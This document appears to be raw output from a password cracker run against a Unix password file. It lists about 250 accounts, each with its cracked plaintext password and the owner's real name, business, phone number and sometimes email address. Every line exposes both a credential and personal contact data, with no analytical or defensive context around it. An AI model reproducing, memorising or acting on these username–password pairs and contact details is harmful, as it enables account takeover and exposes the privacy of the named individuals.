Guessed career [career [CHOICE]]  Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh]
Guessed giveinfo [giveinfo [VINCENT]]  Vincent Garguilo,,718-256-0904,vinigar@peakaccess.net [etc_passwd.fixed /bin/tcsh]
Guessed ournetwork [ournetwork [WHEELS]]  Jerry Schneider,,206-588-0096,75020.2702@compuserve.com [etc_passwd.fixed /bin/tcsh]
Guessed lightquest [lightquest [GORDON]]  Gordon M. Curry,,972-431-4956,lightquest@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed visionpics [visionpics [RESPONSE]]  Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh]
Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]]  Warren,,, [etc_passwd.fixed /bin/tcsh]
Guessed jeffsmoney [jeffsmoney [JEFFSMON]]  Jeff Jacobs,J+J Enterprises,212-290-4517,jeff@superteam.com [etc_passwd.fixed /bin/tcsh]
Guessed global [global [DISCOVER]]  Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh]
Guessed linktvmem [linktvmem [LINKTVME]]  Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh]
Guessed phone [phone [PHONE]]  Susan Pottish,,415-453-9546,svamd@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed products [products [MOUNTAIN]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed tnoni [tnoni [HEALTH]]  Michael Avenoso,Riverwood Health,501-253-2535,amstar7@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed stink [stink [GREATSEX]]  Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh]
Guessed judge [judge [VANELGOR]]  Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh]
Guessed beitall [beitall [DOITNOW]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed infolink [infolink [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed bugbox [bugbox [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed seicom [seicom [Hubertt]]  Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh]
Guessed yourreply [yourreply [REPORTS]]  Vince Bedell,AAA Discount,702-564-9651,vince2602@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed wholesale [wholesale [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed profitsnow [profitsnow [MATTG]]  Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed freshair [freshair [BRADNEAR]]  Brad Near,,, [etc_passwd.fixed /bin/tcsh]
Guessed succeednow [succeednow [MARTINR]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed cmc [cmc [RANDYC]]  Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh]
Guessed contacts [contacts [MARTINRU]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed a1amway [a1amway [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed bizinfo [bizinfo [FLIGHT]]  Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh]
Guessed profitsonline [profitsonline [MATTG]]  Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasmlm [gasmlm [GSCHMIDT]]  Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt@usa.net [etc_passwd.fixed /bin/tcsh]
Guessed infosoft [infosoft [BRANDY]]  Jay Pinkus,         ,215-953-8239, [etc_passwd.fixed /bin/tcsh]
Guessed ion [ion [MATTG]]  Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed mktamerica [mktamerica [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed futureplan [futureplan [STMARTIN]]  Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh]
Guessed inside [inside [INFO1]]  Mark A. Watts,Inside Access,503-612-0538,insideacc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed healthnow [healthnow [HARRY1]]  Thomas M. Cox,,dodger3@laker.net, [etc_passwd.fixed /bin/tcsh]
Guessed sms [sms [HARRY1]]  Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh]
Guessed success1 [success1 [PROMO1]]  GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed yousave [yousave [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed paulott [paulott [PAULOTT1]]  Paul Ott,941-731-7855,pott123@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed savenow [savenow [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed utilizatt [utilizatt [FREEDOM2]]  Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh]
Guessed eric [eric [DIANE2]]  Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh]
Guessed contino [contino [CAREER4]]  Carl Contino,First Family Internet Services,716-834-0057,contino@ffinternet.com [etc_passwd.fixed /bin/tcsh]
Guessed emailfarmer [emailfarmer [RENERENE]]  BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouse [lighthouse [DATADATA]]  Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh]
Guessed earthtrust [earthtrust [DATADATA]]  Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed empire [empire [RENERENE]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed earthangels [earthangels [DATADATA]]  Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed futurenet [futurenet [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouses [lighthouses [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed astrology [astrology [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed bkinfo [bkinfo [RAYRAY]]  Kareem Hassan,,216-439-1019,hawk7640@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldenaura [goldenaura [DATADATA]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed shakespeare [shakespeare [DATADATA]]  Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed rolyatge [rolyatge [DRAWDE]]  George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed rolyat [rolyat [DRAWDE]]  George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed details13 [details13 [111111]]  Dave,Sheehan & Associates,,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed ompd [ompd [111111]]  Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh]
Guessed detailsnow [detailsnow [000000]]  Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh]
Guessed remove3 [remove3 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details14 [details14 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details15 [details15 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9 [vlk9 [123456]]  ,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed details12 [details12 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed hitme [hitme [000000]]  Bob Wagner,Amerinet,305-534-2769,amerinet@bridge.net [etc_passwd.fixed /bin/tcsh]
Guessed mkiely [mkiely [12345]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9a [vlk9a [123456]]  Nancy A Tietien,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed lists [lists [JOSHUA]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed website [lists [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed morinfo [morinfo [CESSNA]]  John Fraine,,941-732-1872,hirate@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ragesking [ragesking [KIMMY]]  Gary S. Kuzel,,630-985-5191,gskinc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed pichx [pichx [DRAGON]]  Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh]
Guessed srdindusry [srdindusry [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed softcell [softcell [SOFTIE]]  Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh]
Guessed glory [glory [HUMBOLDT]]  Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh]
Guessed mybox [mybox [FORWARD]]  Thomas Cox,,, [etc_passwd.fixed /bin/tcsh]
Guessed xtraco [xtraco [ORANGES]]  Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco@cris.com [etc_passwd.fixed /bin/tcsh]
Guessed eznrg [eznrg [DIAMOND]]  Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh]
Guessed a030253 [a030253 [SIERRA]]  GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh]
Guessed egtech [egtech [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed homelab [homelab [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed mktginfo [mktginfo [MARTHA]]  Robert Hutton,,,RHutton@mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus2 [mikeplus2 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed vistagroup [vistagroup [KODIAK]]  George Gaul,The Vista Group,303-674-2256,captain@ecentral.com [etc_passwd.fixed /bin/tcsh]
Guessed thanku [thanku [ELBOWS]]  Doug Sutton,,, [etc_passwd.fixed /bin/tcsh]
Guessed herbalpc [herbalpc [SPUNKY]]  Pat Connolly / Joyce,,309-691-1762,herbalpc@ix.netcom.com [etc_passwd.fixed /bin/tcsh]
Guessed testing [testing [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed wolfgang [wolfgang [OLIVER]]  Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh]
Guessed llgun [llgun [LOKEY]]  Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh]
Guessed xpres [xpres [LANSING]]  Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh]
Guessed give [give [TUCKER]]  Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh]
Guessed zen [zen [KITTY]]  Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh]
Guessed mustsee [mustsee [JACKSON]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed aopptun [aopptun [BENNIE]]  AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh]
Guessed amnat3 [amnat3 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed hologram [hologram [PHONECAR]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed injuredjoe [injuredjoe [CAPTAIN]]  Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh]
Guessed healthy4u [healthy4u [BEGIN]]  Betty M. Colombo,healthyu@juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh]
Guessed tntalgae [tntalgae [FROSTY]]  Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh]
Guessed gks [gks [DANCER]]  Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh]
Guessed praetor [praetor [TEMP]]  Dave Browning,,, [etc_passwd.fixed /bin/tcsh]
Guessed midstateop [midstateop [SPIKE]]  Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh]
Guessed extractor [extractor [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed lorios [lorios [DOLORES]]  Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh]
Guessed zitbuster [zitbuster [ARTURO]]  Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh]
Guessed showcase [showcase [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed ableman [ableman [SEESAW]]  Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh]
Guessed infotape [infotape [STARFISH]]  Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh]
Guessed thegreen [thegreen [PEPPER]]  Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh]
Guessed aperillo [aperillo [BUNNER]]  Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh]
Guessed csn [csn [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed secret [secret [ALEXANDR]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed details [details [SKIPPY]]  ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh]
Guessed biznews [biznews [DRAGON]]  Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh]
Guessed hummingbrd [hummingbrd [CLOVER]]  gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh]
Guessed minesh [minesh [ASHWIN]]  A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed JBA1231 [JBA1231 [STARSHIP]]  Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh]
Guessed freelance [freelance [SELINA]]  Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh]
Guessed univer [univer [PIPER]]  James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh]
Guessed rhutton [rhutton [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh]
Guessed agape [agape [LOGOS]]  Adrian Watson,Y.A.M. Incorporated,,hpatrick@nls.net [etc_passwd.fixed /bin/tcsh]
Guessed awareness [awareness [HAPPY]]  Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh]
Guessed capital [capital [CESSNA]]  Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed infostart [infostart [GOFORIT]]  Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh]
Guessed donl [donl [DONELLE]]  Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh]
Guessed peak [peak [ORGASMIC]]  Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh]
Guessed vipvalues [vipvalues [GRACE]]  Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh]
Guessed lilleyen [lilleyen [GANDALF]]  Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh]
Guessed ozone [ozone [TOWLES]]  Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh]
Guessed welcome [welcome [SNOWSTOR]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed child [child [MIDAS]]  Bill Panchuck,Showcase,eaglekoz@ix.netcom.com, [etc_passwd.fixed /bin/tcsh]
Guessed cellular [cellular [DISKETTE]]  John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh]
Guessed sponsors [sponsors [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed cbccorp [cbccorp [SCOUT]]  Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh]
Guessed autoreply [autoreply [NORTHLAN]]  Karen Nelson,Northland Specialty Products,218-727-8641,rnelson@cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh]
Guessed money4u [money4u [KELLY]]  PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed stealdeals [stealdeals [ENERGIZE]]  Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh]
Guessed gcmkt [gcmkt [CRAWFISH]]  Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh]
Guessed autofuture [autofuture [CADILLAC]]  Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh]
Guessed freeway1 [freeway1 [SLACKER]]  Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh]
Guessed jl [jl [MILAGROS]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed bewealthy [bewealthy [GREENBAC]]  John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh]
Guessed freeinfo [freeinfo [CHICLET]]  Alan Lange,,, [etc_passwd.fixed /bin/tcsh]
Guessed deepbreath [deepbreath [ANANDA]]  Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed gcprod [gcprod [PRODUC]]  Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh]
Guessed infocenter [infocenter [ACCUSER]]  Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh]
Guessed grants [grants [TERESA]]  Victor Chapman,CM Consulting,516-377-3307,roger7891@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed vision [vision [THUNDER]]  Paula Stoup,,717-783-6465,paulas1043@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus1 [mikeplus1 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed srdcorp [srdcorp [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed bncentprs [bncentprs [JESUS]]  Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh]
Guessed shamrock [shamrock [CYPRESS]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dlbedding [dlbedding [CHANCE]]  Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed frsecurity [frsecurity [THISISIT]]  Robert Davis,,803-667-0702,jdr02@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed david [david [REBECCA]]  David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh]
Guessed pegasustrv [pegasustrv [LIZZIE]]  Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh]
Guessed employnews [employnews [INGRID]]  Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh]
Guessed carproinc [carproinc [GROSS]]  Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed alexis [alexis [WHALES]]  Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh]
Guessed topscan [topscan [JUSTIN]]  David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh]
Guessed mattken [mattken [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed travelagt [travelagt [GOLDIE]]  David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh]
Guessed coupons [coupons [DISKETTE]]  John Hendrix,,, [etc_passwd.fixed /bin/tcsh]
Guessed salesunlim [salesunlim [COYOTE]]  Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh]
Guessed incomeplus [incomeplus [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed lecram [lecram [BARUCH]]  Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh]
Guessed mortgage [mortgage [PEANUT]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed ucan2 [ucan2 [NAMASTE]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed hotbiz [hotbiz [ALBERTA]]  Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh]
Guessed sjsent [hotbiz [ALBERTA]]  Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed findout [findout [SWISHER]]  Ben Vann,Blue Whale Media,910-785-9296,bvann@whalemail.com [etc_passwd.fixed /bin/tcsh]
Guessed prosper [prosper [SITUATIO]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed iaplus [iaplus [SALOME]]  Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh]
Guessed light [light [RAYMOND]]  AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh]
Guessed cheapcalls [cheapcalls [MAGICAL]]  Richard Rubenstein,,219-864-2501,rnr@pla.net.net [etc_passwd.fixed /bin/tcsh]
Guessed bigprofits [bigprofits [DROSOPHI]]  Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits@writeme.com [etc_passwd.fixed /bin/tcsh]
Guessed powernow [powernow [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed drchris [drchris [PSYCHE]]  Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh]
Guessed amnat1 [amnat1 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed amsquare [amsquare [MOOSEHEA]]  Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed answers [answers [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed freeads [freeads [BATMAN]]  Bill Guting,,,awt@cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed college [college [KELLY]]  Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed powerad [powerad [DENTAL]]  Juanita Boivin,,,urwlthybiz@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed newbuss [newbuss [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed classads [classads [WINTER]]  Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh]
Guessed zee [zee [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed disease [disease [MOOSEHEA]]  Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed steveplus [steveplus [GIANTS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed matco [matco [PRAISE]]  John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh]
Guessed legalwon [legalwon [CRITTER]]  Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh]
Guessed siteone [siteone [CIRCLE]]  Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh]
Guessed sandman [sandman [BLASTER]]  Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh]
Guessed disneygroup [disneygroup [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed sevenmil [sevenmil [DOROTHY]]  Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed adman [adman [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed solar1 [solar1 [SHOPPING]]  Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh]
Guessed b6024 [b6024 [PATIENCE]]  Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh]
Guessed online [online [LOVER]]  Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh]
Guessed invest [invest [CRYSTAL]]  Benjamin Ice,,,jammerjoe@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gocell [gocell [AMANDA]]  Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh]
Guessed donow [donow [TURNAROU]]  Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh]
Guessed laptop [laptop [MUSIC]]  Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed mktgconcepts [mktgconcepts [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131,rhutton@idt.net [etc_passwd.fixed /bin/tcsh]
Guessed wholesaleprices [wholesaleprices [MARIAM]]  Mohammad Hanif,,972-669-2223,compumart@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed removeme [removeme [ERASER]]  Dave Mann,,, [etc_passwd.fixed /bin/tcsh]
Guessed allnatural [allnatural [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed welltrend [welltrend [BUMBLE]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed mquest [mquest [OOPS]]  Phil Brown,Merchant Quest,541-742-6206,pbrown@pdx.oneworld.com [etc_passwd.fixed /bin/tcsh]
Guessed health [health [JESUS]]  Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh]
Guessed rcenterpi [rcenterpi [HALFWAY]]  Ron Mayfield,,417-445-2602 or 417-445-6797,roncan@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed tvlsecrets [tvlsecrets [CAVIAR]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed protection [protection [MOOSEHEA]]  Doug Peterson,,, [etc_passwd.fixed /bin/tcsh]
Guessed robtym [robtym [MAKEMYDA]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed networkes [networkes [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed helpme [helpme [CORKIE]]  Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh]
Guessed profile [profile [METHOD]]  Joe Kuhn,908-220-1110,qwikmail@raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh]
Guessed adna1 [adna1 [MAYE]]  Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh]
Guessed response [response [STINKY]]  Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh]
Guessed anyahu [anyahu [ANKLES]]  Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed secret1 [secret1 [ALEXANDR]]  John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh]
Guessed ezwork [ezwork [ACCESS]]  Glenda Smith,,216-291-4589,gs72895@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed herb [herb [TINSEL]]  Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh]
Guessed cash [cash [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed choice3 [choice3 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed yucan2 [yucan2 [OLIVER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed rainbow [rainbow [WILBUR]]  Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh]
Guessed choice4 [choice4 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed jeps318 [jeps318 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed mortgages [mortgages [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed blizzard97 [blizzard97 [BETSY]]  David Woldt,,605-886-3654,turbo41@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mecca [mecca [BACKWARD]]  Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed teezer [teezer [TEASER]]  Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh]
Guessed help4u [help4u [MINERAL]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed free800 [free800 [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
